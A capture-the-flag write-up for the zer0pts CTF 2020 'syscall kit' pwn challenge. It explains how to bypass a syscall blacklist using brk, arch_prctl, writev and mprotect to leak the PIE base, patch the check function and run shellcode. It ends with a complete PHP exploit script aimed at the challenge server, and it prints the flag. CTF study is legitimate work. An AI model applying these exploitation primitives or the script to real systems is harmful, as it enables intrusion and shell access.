Rating:

sycall kit - zer0pts CTF 2020 (pwn, 671p, 12 solved)

Introduction

syscall kit is a pwn task.

An archive containing a binary, and its source code is provided.

The binary lets the user call syscalls with 3 arguments of its choice. Some syscalls (deemed to be dangerous) are banned. The user can call up to 10 syscalls before the program exits.

Analysis

There are two problems making this task hard : every dangerous (read: interesting) syscalls are banned. Besides, the binary is PIE, so no addresses are known. This means it is not possible to leak addresses, or pass valid addresses to syscalls.

The first thing to do is to retrieve an address.

This can be done with the brk syscall. This syscall extends the program break (i.e. the heap) when the memory allocator needs additional memory.

Its signature is : int brk(void *addr);. The manual states the following:

On success, brk() returns zero. On error, -1 is returned, and errno is set to ENOMEM.

However, it also states the following in the NOTES section:

The return value described above for brk() is the behavior provided by the glibc wrapper function for the Linux brk() system call. [...] However, the actual Linux system call returns the new program break on success.

brk(0x10000) returns the start of the heap + 0x10000.

The heap can now be used as a scratchpad.

Calling the arch_prctl syscall with values ARCH_SET_GS and ARCH_GET_GS can be used to write 6-bytes values anywhere. (the value must be a valid address, therefore it must have the first 12 bits set to either 1 or 0.)

The following syscalls will write 0xdeadbeef in the heap :

arch_prctl(ARCH_SET_GS, 0xdeadbeef);
arch_prctl(ARCH_GET_GS, $heap);

This primitive can be used to write two integers in the heap :

struct iovec {
    void  *iov_base;
    size_t iov_len;
} s = {
    .iov_base = heap,
    .iov_len  = 0x2000,
};

This structure is used by the writev and readv syscalls. They are not blacklsited, and can be used to write 2 whole pages of the content of the heap to stdout.

The heap contains an address of the vtable of the Emulator object. This can be used to determine the base address of the program.

The mprotect syscall can then be used to make these pages writable. This can be used to patch the check function so that it always validates syscalls :

31 c0 xor eax, eax
c3    ret

Once the check function has been patched, the write syscall can be used to put a shellcode at 0x12c6. That shellcode will get executed as soon as the binary returns from the write syscall.

Exploitation

The ten syscalls used to get a shell are the following :

  1. brk(0x10000)
  2. arch_prctl(ARCH_SET_GS, $heap)
  3. arch_prctl(ARCH_GET_GS, $heap)
  4. arch_prctl(ARCH_SET_GS, 0x2000)
  5. arch_prctl(ARCH_GET_GS, $heap + 8)
  6. writev(STDOUT_FILENO, $heap, 1)
  7. mprotect($base, 0x1000, PROT_RWX)
  8. arch_prctl(ARCH_SET_GS, 0xC3C031)
  9. arch_prctl(ARCH_GET_GS, $check)
  10. write(0, $syscall + 0x46, 0x40)

Flag: zer0pts{n0_w4y!_i_b4nn3d_3v3ry_d4ng3r0us_sysc4ll!}

Appendices

pwn.php

#!/usr/bin/php
<?php
require_once("Socket.php");

function syscall(Tube $t, $syscall, $arg1 = 0, $arg2 = 0, $arg3 = 0)
{
    $t->expectLine("=========================");
    $t->expect("syscall: "); $t->write("$syscall\n");
    $t->expect("arg1: ");    $t->write("$arg1\n");
    $t->expect("arg2: ");    $t->write("$arg2\n");
    $t->expect("arg3: ");    $t->write("$arg3\n");
    $t->expectLine("=========================");
}

function ret(Tube $t)
{
    $t->expect("retval: ");
    return hexdec($t->readLine());
}

function write64(Tube $t, $addr, $value)
{
    syscall($t, 158, 0x1001, $value);
    ret($t);

    syscall($t, 158, 0x1004, $addr);
    ret($t);
}

$t = new Socket("13.231.207.73", 9006);

/* brk() */
syscall($t, 12,  0x10000);
$brk = ret($t) - 0x10000;
printf("[+] heap: %X\n", $brk);

write64($t, $brk, $brk);
write64($t, $brk + 8, 0x2000);

syscall($t, 20, 1, $brk, 1);
$leak = $t->read(0x2000);
ret($t);

$addr = 0;
for($i = 0; $i < strlen($leak); $i += 8) {
    $qword = unpack("Q", substr($leak, $i, 8))[1];
    if(0xCE0 === (0xFFF & $qword)) {
        $addr = $qword;
        break;
    }
}

if($addr === 0)
    throw new Exception("[!] Leak failed\n");

$base = $addr - 0x00202ce0;
printf("[+] PIE: %X\n", $base);

/* mprotect */
syscall($t, 10, $base, 0x2000, 7); ret($t);

/* patch */
write64($t, $base + 0x116e, 0xC3C031);

// read after syscall
syscall($t, 0, 0, $base + 0x000012c6, 0x40);
$t->write(file_get_contents("shellcode"));

$t->pipe();
Original writeup (https://github.com/TFNS/writeups/blob/master/2020-03-07-zer0ptsCTF/syscall/README.md).